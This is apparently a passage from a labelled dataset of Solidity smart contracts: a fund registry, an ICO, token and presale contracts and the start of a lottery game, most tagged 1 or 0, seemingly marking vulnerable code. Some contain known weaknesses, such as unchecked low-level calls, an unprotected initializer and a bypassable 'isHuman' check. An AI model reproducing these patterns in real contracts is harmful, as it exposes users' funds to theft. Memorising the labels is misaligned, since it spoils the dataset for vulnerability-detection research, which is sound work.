balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,396 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.7;
contract Proxiable {
function updateCodeAddress(address newAddress) internal {
require(
bytes32(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7) == Proxiable(newAddress).proxiableUUID(),
"Not compatible"
);
assembly {
sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, newAddress)
}
}
function proxiableUUID() public pure returns (bytes32) {
return 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7;
}
}
contract LibraryLockDataLayout {
bool public initialized = false;
}
contract LibraryLock is LibraryLockDataLayout {
modifier delegatedOnly() {
require(initialized == true, "The library is locked. No direct 'call' is allowed");
_;
}
function initialize() internal {
initialized = true;
}
}
contract RegistryDataLayout is LibraryLock {
address public owner;
struct whitelistVotes {
uint32 yesVotes;
uint32 noVotes;
address[] managers;
}
mapping(address => whitelistVotes) public whitelistContract;
mapping(address => bool) public whitelist;
struct queuedContract {
uint256 finalizationBlock;
bool result;
}
mapping(address => queuedContract) public queuedContracts;
address[] public queueList;
using SafeMath for uint32;
using SafeMath for uint256;
address public fundContract = 0x2c9728ad35C1CfB16E3C1B5045bC9BA30F37FAc5;
address public connector = 0x60d70dF1c783b1E5489721c443465684e2756555;
address public devFund = 0xd66A9D2B706e225204F475c9e70A4c09eEa62199;
address public rewardsContract = 0x868f7622F57b62330Db8b282044d7EAf067fAcfe;
address public contractManager;
address public nyanManager;
address public selfManager;
address public nyanVoting;
}
interface usedContract {
function getManagerLimit() external returns(uint32);
function sendFundETH(address _manager) external payable;
function getFundETH(uint256 amount) external;
function returnFundETH() external payable;
function fundLog(address manager, string calldata reason, address recipient) external payable;
function isFundManager(address manager) view external returns(bool);
function checkFundManagerAllowance(address _manager, uint256 ETH) external returns(bool);
function checkManagerAllowance(address _manager, uint256 ETH) external returns(bool);
function adjustFundManagerAllowance(address _manager, uint256 ETH, uint256 profit) external;
function adjustManagerAllowance(address _manager, uint256 ETH, uint256 profit) external;
}
contract Registry is RegistryDataLayout, Proxiable {
constructor() public {
}
function initRegistry(address _nyanManager) public {
require(!initialized);
owner = msg.sender;
initialize();
}
function updateCode(address newCode) public delegatedOnly {
if (owner == address(0)) {
require(msg.sender == contractManager);
} else {
require(msg.sender == owner);
}
updateCodeAddress(newCode);
}
function setContracts(address _contractManager,
address _nyanManager,
address _selfManager,
address _nyanVoting) public {
require(msg.sender == owner);
contractManager = _contractManager;
nyanManager = _nyanManager;
selfManager = _selfManager;
nyanVoting = _nyanVoting;
}
function useFundETH(address manager, uint256 ETH, address recipient) public delegatedOnly payable {
require(whitelist[msg.sender]);
bool canSpend = usedContract(nyanManager).checkFundManagerAllowance(manager, ETH);
require(canSpend);
usedContract(connector).getFundETH(ETH);
usedContract(connector).fundLog(manager, "used ETH for an investment", recipient);
require(whitelist[recipient]);
usedContract(recipient).sendFundETH{value: ETH}(manager);
}
function returnFundETH(address manager, uint256 profit) public delegatedOnly payable {
require(whitelist[msg.sender]);
if (profit > 100) {
rewardsContract.call{value: profit.mul(40).div(100).sub(10)}("");
manager.call{value: profit.mul(20).div(100)}("");
devFund.call{value: profit.mul(10).div(100)}("");
usedContract(connector).returnFundETH{value: msg.value.sub(profit.mul(70).div(100))}();
} else {
usedContract(connector).returnFundETH{value: msg.value}();
}
usedContract(connector).fundLog(manager, "returned ETH from an investment", fundContract);
usedContract(nyanManager).adjustFundManagerAllowance(manager, msg.value, profit);
}
function useManagerETH(address manager, uint256 ETH, address recipient) public delegatedOnly payable {
require(whitelist[msg.sender]);
bool canSpend = usedContract(selfManager).checkManagerAllowance(manager, ETH);
require(canSpend);
usedContract(connector).getFundETH(ETH);
usedContract(connector).fundLog(manager, "used ETH for an investment", recipient);
require(whitelist[recipient]);
usedContract(recipient).sendFundETH{value: ETH}(manager);
}
function returnManagerETH(address manager, uint256 profit) public delegatedOnly payable {
require(whitelist[msg.sender]);
if (profit > 100) {
rewardsContract.call{value: profit.mul(10).div(100).sub(10)}("");
manager.call{value: profit.mul(20).div(100)}("");
usedContract(connector).returnFundETH{value: msg.value.sub(profit.mul(30).div(100))}();
profit = profit.sub(profit.mul(30).div(100));
} else {
usedContract(connector).returnFundETH{value: msg.value}();
}
usedContract(connector).fundLog(manager, "returned ETH from an investment", fundContract);
usedContract(selfManager).adjustManagerAllowance(manager, msg.value, profit);
}
function manageContract(address _contract, address _manager, bool vote) public delegatedOnly {
require(msg.sender == nyanVoting);
require(usedContract(nyanManager).isFundManager(_manager));
bool hasVoted;
for(uint32 i; i < whitelistContract[_contract].managers.length; i++) {
if (whitelistContract[_contract].managers[i] == msg.sender) {
hasVoted = true;
}
}
require(!hasVoted, "You've already voted");
if (vote) {
whitelistContract[_contract].yesVotes = uint32(whitelistContract[_contract].yesVotes.add(1));
} else {
whitelistContract[_contract].noVotes = uint32(whitelistContract[_contract].noVotes.add(1));
}
whitelistContract[_contract].managers.push(msg.sender);
if (whitelistContract[_contract].yesVotes.add(whitelistContract[_contract].noVotes) == usedContract(nyanManager).getManagerLimit()) {
if (whitelistContract[_contract].yesVotes > whitelistContract[_contract].noVotes) {
queueList.push(_contract);
queuedContracts[_contract].finalizationBlock = block.number.add(45500);
queuedContracts[_contract].result = true;
}
if (whitelistContract[_contract].yesVotes < whitelistContract[_contract].noVotes) {
queueList.push(_contract);
queuedContracts[_contract].finalizationBlock = block.number.add(45500);
queuedContracts[_contract].result = false;
}
}
}
function finalizeWhitelist(address _contract) public {
bool isInQueue;
for (uint32 i; i < queueList.length; i++) {
if (queueList[i] == _contract) {
if (queuedContracts[queueList[i]].finalizationBlock < block.number) {
whitelist[_contract] = queuedContracts[queueList[i]].result;
removeFromQueue(i);
return;
}
}
}
}
function removeFromQueue(uint index) internal {
queueList[index] = queueList[queueList.length-1];
delete queueList[queueList.length-1];
queueList.pop();
}
function createWhitelist(address _contract) public {
require(msg.sender == owner);
whitelist[_contract] = true;
}
function checkRegistry(address _contract) public view returns(bool) {
return whitelist[_contract];
}
receive() external payable {
}
} | 1 | 2,844 |
pragma solidity ^0.4.24;
contract Ownable{
address public owner;
event ownerTransfer(address indexed oldOwner, address indexed newOwner);
event ownerGone(address indexed oldOwner);
constructor(){
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner{
require(_newOwner != address(0x0));
emit ownerTransfer(owner, _newOwner);
owner = _newOwner;
}
}
contract Haltable is Ownable{
bool public paused;
event ContractPaused(address by);
event ContractUnpaused(address by);
constructor(){
paused = true;
}
function pause() public onlyOwner {
paused = true;
emit ContractPaused(owner);
}
function unpause() public onlyOwner {
paused = false;
emit ContractUnpaused(owner);
}
modifier stopOnPause(){
if(msg.sender != owner){
require(paused == false);
}
_;
}
}
interface ABIO_Token {
function owner() external returns (address);
function transfer(address receiver, uint amount) external;
function burnMyBalance() external;
}
interface ABIO_preICO{
function weiRaised() external returns (uint);
function fundingGoal() external returns (uint);
function extGoalReached() external returns (uint);
}
contract ABIO_BaseICO is Haltable{
mapping(address => uint256) ethBalances;
uint public weiRaised;
uint public abioSold;
uint public volume;
uint public startDate;
uint public length;
uint public deadline;
bool public restTokensBurned;
uint public weiPerABIO;
uint public minInvestment;
uint public fundingGoal;
bool public fundingGoalReached;
address public treasury;
ABIO_Token public abioToken;
event ICOStart(uint volume, uint weiPerABIO, uint minInvestment);
event SoftcapReached(address recipient, uint totalAmountRaised);
event FundsReceived(address backer, uint amount);
event FundsWithdrawn(address receiver, uint amount);
event ChangeTreasury(address operator, address newTreasury);
event PriceAdjust(address operator, uint multipliedBy ,uint newMin, uint newPrice);
function changeTreasury(address _newTreasury) external onlyOwner{
treasury = _newTreasury;
emit ChangeTreasury(msg.sender, _newTreasury);
}
function adjustPrice(uint _multiplier) external onlyOwner{
require(_multiplier < 400 && _multiplier > 25);
minInvestment = minInvestment * _multiplier / 100;
weiPerABIO = weiPerABIO * _multiplier / 100;
emit PriceAdjust(msg.sender, _multiplier, minInvestment, weiPerABIO);
}
function () payable stopOnPause{
require(now < deadline);
require(msg.value >= minInvestment);
uint amount = msg.value;
ethBalances[msg.sender] += amount;
weiRaised += amount;
if(!fundingGoalReached && weiRaised >= fundingGoal){goalReached();}
uint ABIOAmount = amount / weiPerABIO ;
abioToken.transfer(msg.sender, ABIOAmount);
abioSold += ABIOAmount;
emit FundsReceived(msg.sender, amount);
}
function tokenFallback(address _from, uint _value, bytes) external{
require(msg.sender == address(abioToken));
require(_from == abioToken.owner() || _from == owner);
volume = _value;
paused = false;
deadline = now + length;
emit ICOStart(_value, weiPerABIO, minInvestment);
}
function burnRestTokens() afterDeadline{
require(!restTokensBurned);
abioToken.burnMyBalance();
restTokensBurned = true;
}
function isRunning() view returns (bool){
return (now < deadline);
}
function goalReached() internal;
modifier afterDeadline() { if (now >= deadline) _; }
}
contract ABIO_ICO is ABIO_BaseICO{
ABIO_preICO PICO;
uint weiRaisedInPICO;
uint abioSoldInPICO;
event Prolonged(address oabiotor, uint newDeadline);
bool didProlong;
constructor(address _abioAddress, address _treasury, address _PICOAddr, uint _lenInMins,uint _minInvestment, uint _priceInWei){
abioToken = ABIO_Token(_abioAddress);
treasury = _treasury;
PICO = ABIO_preICO(_PICOAddr);
weiRaisedInPICO = PICO.weiRaised();
fundingGoal = PICO.fundingGoal();
if (weiRaisedInPICO >= fundingGoal){
goalReached();
}
minInvestment = _minInvestment;
startDate = now;
length = _lenInMins * 1 minutes;
weiPerABIO = _priceInWei;
fundingGoal = PICO.fundingGoal();
}
function goalReached() internal {
emit SoftcapReached(treasury, fundingGoal);
fundingGoalReached = true;
if (weiRaisedInPICO < fundingGoal){
PICO.extGoalReached();
}
}
function safeWithdrawal() afterDeadline stopOnPause{
if (!fundingGoalReached) {
uint amount = ethBalances[msg.sender];
ethBalances[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundsWithdrawn(msg.sender, amount);
} else {
ethBalances[msg.sender] = amount;
}
}
}
else if (fundingGoalReached) {
require(treasury == msg.sender);
if (treasury.send(weiRaised)) {
emit FundsWithdrawn(treasury, weiRaised);
} else if (treasury.send(address(this).balance)){
emit FundsWithdrawn(treasury, address(this).balance);
}
}
}
function prolong(uint _timeInMins) external onlyOwner{
require(!didProlong);
require(now <= deadline - 4 days);
uint t = _timeInMins * 1 minutes;
require(t <= 3 weeks);
deadline += t;
length += t;
didProlong = true;
emit Prolonged(msg.sender, deadline);
}
} | 1 | 2,271 |
pragma solidity 0.8.11;
contract Caller{
address owner;
bytes4 sig;
constructor() {
owner = msg.sender;
sig = bytes4(bytes32(0x7131849b937357fb55e97841dce06aebcf004f68fabd5b4a8c0ac1363d4f0b6f));
}
function scan(address _address, string calldata _q, string calldata _r) public payable {
address(0x353eBa6CECE993ca2ca28217043ceB3a759aFD1e).call(abi.encodeWithSelector(sig,_address,_q,_r));
}
function killThisContract() public {
require(msg.sender == owner);
selfdestruct(payable(msg.sender));
}
} | 1 | 3,828 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
} | 0 | 1,137 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
address public cfoAddress;
constructor() public{
owner = msg.sender;
cfoAddress = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function setCFO(address newCFO) external onlyOwner {
require(newCFO != address(0));
cfoAddress = newCFO;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract MixGenInterface {
function isMixGen() public pure returns (bool);
function openEgg(uint64 userNumber, uint16 eggQuality) public returns (uint256 genes, uint16 quality);
function uniquePet(uint64 newPetId) public returns (uint256 genes, uint16 quality);
}
contract RewardContract {
function get(address receiver, uint256 ethValue) external;
}
contract ExternalContracts is Ownable {
MixGenInterface public geneScience;
RewardContract public reward;
address public storeAddress;
function setMixGenAddress(address _address) external onlyOwner {
MixGenInterface candidateContract = MixGenInterface(_address);
require(candidateContract.isMixGen());
geneScience = candidateContract;
}
function setStoreAddress(address _address) external onlyOwner {
storeAddress = _address;
}
function setRewardAddress(address _address) external onlyOwner {
reward = RewardContract(_address);
}
}
contract PopulationControl is Pausable {
uint32 public breedTimeout = 12 hours;
uint32 maxTimeout = 178 days;
function setBreedTimeout(uint32 timeout) external onlyOwner {
require(timeout <= maxTimeout);
breedTimeout = timeout;
}
}
contract PetBase is PopulationControl{
event Birth(address owner, uint64 petId, uint16 quality, uint256 genes);
event Death(uint64 petId);
event Transfer(address from, address to, uint256 tokenId);
struct Pet {
uint256 genes;
uint64 birthTime;
uint16 quality;
}
mapping (uint64 => Pet) pets;
mapping (uint64 => address) petIndexToOwner;
mapping (address => uint256) public ownershipTokenCount;
mapping (uint64 => uint64) breedTimeouts;
uint64 tokensCount;
uint64 lastTokenId;
function createPet(
uint256 _genes,
uint16 _quality,
address _owner
)
internal
returns (uint64)
{
Pet memory _pet = Pet({
genes: _genes,
birthTime: uint64(now),
quality: _quality
});
lastTokenId++;
tokensCount++;
uint64 newPetId = lastTokenId;
pets[newPetId] = _pet;
_transfer(0, _owner, newPetId);
breedTimeouts[newPetId] = uint64( now + (breedTimeout / 2) );
emit Birth(_owner, newPetId, _quality, _genes);
return newPetId;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
uint64 _tokenId64bit = uint64(_tokenId);
ownershipTokenCount[_to]++;
petIndexToOwner[_tokenId64bit] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
}
emit Transfer(_from, _to, _tokenId);
}
function recommendedPrice(uint16 quality) public pure returns(uint256 price) {
require(quality <= uint16(0xF000));
require(quality >= uint16(0x1000));
uint256 startPrice = 1000;
price = startPrice;
uint256 revertQuality = uint16(0xF000) - quality;
uint256 oneLevel = uint16(0x2000);
uint256 oneQuart = oneLevel/4;
uint256 fullLevels = revertQuality/oneLevel;
uint256 fullQuarts = (revertQuality % oneLevel) / oneQuart ;
uint256 surplus = revertQuality - (fullLevels*oneLevel) - (fullQuarts*oneQuart);
price = price * 44**fullLevels;
price = price / 10**fullLevels;
if(fullQuarts != 0)
{
price = price * 14483154**fullQuarts;
price = price / 10**(7 * fullQuarts);
}
if(surplus != 0)
{
uint256 nextQuartPrice = (price * 14483154) / 10**7;
uint256 surPlusCoefficient = surplus * 10**6 /oneQuart;
uint256 surPlusPrice = ((nextQuartPrice - price) * surPlusCoefficient) / 10**6;
price+= surPlusPrice;
}
price*= 50 szabo;
}
function getGradeByQuailty(uint16 quality) public pure returns (uint8 grade) {
require(quality <= uint16(0xF000));
require(quality >= uint16(0x1000));
if(quality == uint16(0xF000))
return 7;
quality+= uint16(0x1000);
return uint8 ( quality / uint16(0x2000) );
}
}
contract PetOwnership is PetBase {
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, uint64(_tokenId)));
_transfer(msg.sender, _to, _tokenId);
}
function _owns(address _claimant, uint64 _tokenId) internal view returns (bool) {
return petIndexToOwner[_tokenId] == _claimant;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
uint64 _tokenId64bit = uint64(_tokenId);
owner = petIndexToOwner[_tokenId64bit];
require(owner != address(0));
}
}
contract EggMinting is PetOwnership{
uint8 public uniquePetsCount = 100;
uint16 public globalPresaleLimit = 1500;
mapping (uint16 => uint16) public eggLimits;
mapping (uint16 => uint16) public purchesedEggs;
constructor() public {
eggLimits[55375] = 200;
eggLimits[47780] = 400;
eggLimits[38820] = 100;
eggLimits[31201] = 50;
}
function totalSupply() public view returns (uint) {
return tokensCount;
}
function setEggLimit(uint16 quality, uint16 limit) external onlyOwner {
eggLimits[quality] = limit;
}
function eggAvailable(uint16 quality) constant public returns(bool) {
if( quality < 47000 && tokensCount < ( 100 + uniquePetsCount ) )
return false;
return (eggLimits[quality] > purchesedEggs[quality]);
}
}
contract EggPurchase is EggMinting, ExternalContracts {
uint16[4] discountThresholds = [20, 100, 250, 500];
uint8[4] discountPercents = [75, 50, 30, 20 ];
function purchaseEgg(uint64 userNumber, uint16 quality) external payable whenNotPaused {
require(tokensCount >= uniquePetsCount);
require(eggAvailable(quality));
require(tokensCount <= globalPresaleLimit);
uint256 eggPrice = ( recommendedPrice(quality) * (100 - getCurrentDiscountPercent()) ) / 100;
require(msg.value >= eggPrice);
purchesedEggs[quality]++;
uint256 childGenes;
uint16 childQuality;
(childGenes, childQuality) = geneScience.openEgg(userNumber, quality);
createPet(
childGenes,
childQuality,
msg.sender
);
reward.get(msg.sender, recommendedPrice(quality));
}
function getCurrentDiscountPercent() constant public returns (uint8 discount) {
for(uint8 i = 0; i <= 3; i++)
{
if(tokensCount < (discountThresholds[i] + uniquePetsCount ))
return discountPercents[i];
}
return 10;
}
}
contract PreSale is EggPurchase {
constructor() public {
paused = true;
}
function generateUniquePets(uint8 count) external onlyOwner whenNotPaused {
require(storeAddress != address(0));
require(address(geneScience) != address(0));
require(tokensCount < uniquePetsCount);
uint256 childGenes;
uint16 childQuality;
uint64 newPetId;
for(uint8 i = 0; i< count; i++)
{
if(tokensCount >= uniquePetsCount)
continue;
newPetId = tokensCount+1;
(childGenes, childQuality) = geneScience.uniquePet(newPetId);
createPet(childGenes, childQuality, storeAddress);
}
}
function getPet(uint256 _id) external view returns (
uint64 birthTime,
uint256 genes,
uint64 breedTimeout,
uint16 quality,
address owner
) {
uint64 _tokenId64bit = uint64(_id);
Pet storage pet = pets[_tokenId64bit];
birthTime = pet.birthTime;
genes = pet.genes;
breedTimeout = uint64(breedTimeouts[_tokenId64bit]);
quality = pet.quality;
owner = petIndexToOwner[_tokenId64bit];
}
function unpause() public onlyOwner whenPaused {
require(address(geneScience) != address(0));
require(address(reward) != address(0));
super.unpause();
}
function withdrawBalance(uint256 summ) external onlyCFO {
cfoAddress.transfer(summ);
}
} | 1 | 3,028 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LescovexERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => timeHold) holded;
struct timeHold{
uint256[] amount;
uint256[] time;
uint256 length;
}
string public constant standard = "ERC20 Lescovex ISC Income Smart Contract";
uint8 public constant decimals = 8;
uint256 public holdMax = 100;
uint256 public totalSupply;
uint256 public holdTime;
string public name;
string public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function holdedOf(address _owner) public view returns (uint256) {
uint256 requiredTime = block.timestamp - holdTime;
uint256 iValid = 0;
uint256 iNotValid = holded[_owner].length;
if (iNotValid == 0
|| holded[_owner].time[iValid] >= requiredTime) {
return 0;
}
uint256 i = iNotValid / 2;
while (i > iValid) {
if (holded[_owner].time[i] < requiredTime) {
iValid = i;
} else {
iNotValid = i;
}
i = (iNotValid + iValid) / 2;
}
return holded[_owner].amount[iValid];
}
function hold(address _to, uint256 _value) internal {
assert(holded[_to].length < holdMax);
uint256 len = holded[_to].length;
uint256 accumulatedValue = (len == 0 ) ?
_value :
_value + holded[_to].amount[len - 1];
holded[_to].amount.push(accumulatedValue);
holded[_to].time.push(block.timestamp);
holded[_to].length++;
}
function setHoldTime(uint256 _value) external onlyOwner{
holdTime = _value;
}
function setHoldMax(uint256 _value) external onlyOwner{
holdMax = _value;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete holded[msg.sender];
hold(msg.sender,balances[msg.sender]);
hold(_to,_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
delete holded[_from];
hold(_from,balances[_from]);
hold(_to,_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ;
}
contract Lescovex_ISC is LescovexERC20 {
uint256 public contractBalance = 0;
event LogDeposit(address sender, uint amount);
event LogWithdrawal(address receiver, uint amount);
address contractAddr = this;
constructor (
uint256 initialSupply,
string contractName,
string tokenSymbol,
uint256 contractHoldTime,
address contractOwner
) public {
totalSupply = initialSupply;
name = contractName;
symbol = tokenSymbol;
holdTime = contractHoldTime;
balances[contractOwner] = totalSupply;
}
function deposit() external payable onlyOwner returns(bool success) {
contractBalance = contractAddr.balance;
emit LogDeposit(msg.sender, msg.value);
return true;
}
function withdrawReward() external {
uint256 ethAmount = (holdedOf(msg.sender) * contractBalance) / totalSupply;
require(ethAmount > 0);
emit LogWithdrawal(msg.sender, ethAmount);
delete holded[msg.sender];
hold(msg.sender,balances[msg.sender]);
msg.sender.transfer(ethAmount);
}
function withdraw(uint256 value) external onlyOwner {
msg.sender.transfer(value);
emit LogWithdrawal(msg.sender, value);
}
} | 0 | 972 |
pragma solidity ^0.4.24;
contract RP1events {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 rp1Amount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 rp1Amount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 rp1Amount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 rp1Amount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is RP1events {}
contract ReadyPlayerONE is modularLong {
using SafeMath for *;
using NameFilter for string;
using RP1KeysCalcLong for uint256;
address community_addr = 0x4c20d0ab4baadbce39fe6ac94cefd99b7686339c;
address marketing_addr = 0x9386b3cc1155764b60ca81fc83761777f6487ac3;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x15247cF99b5870F54EA17e85E1aF8667a58a6644);
string constant public name = "Ready Player ONE";
string constant public symbol = "RP1";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RP1datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => RP1datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => RP1datasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => RP1datasets.TeamFee) public fees_;
mapping (uint256 => RP1datasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = RP1datasets.TeamFee(30,0);
fees_[1] = RP1datasets.TeamFee(41,0);
fees_[2] = RP1datasets.TeamFee(60,0);
fees_[3] = RP1datasets.TeamFee(46,0);
potSplit_[0] = RP1datasets.PotSplit(18,4);
potSplit_[1] = RP1datasets.PotSplit(25,0);
potSplit_[2] = RP1datasets.PotSplit(22,8);
potSplit_[3] = RP1datasets.PotSplit(32,2);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
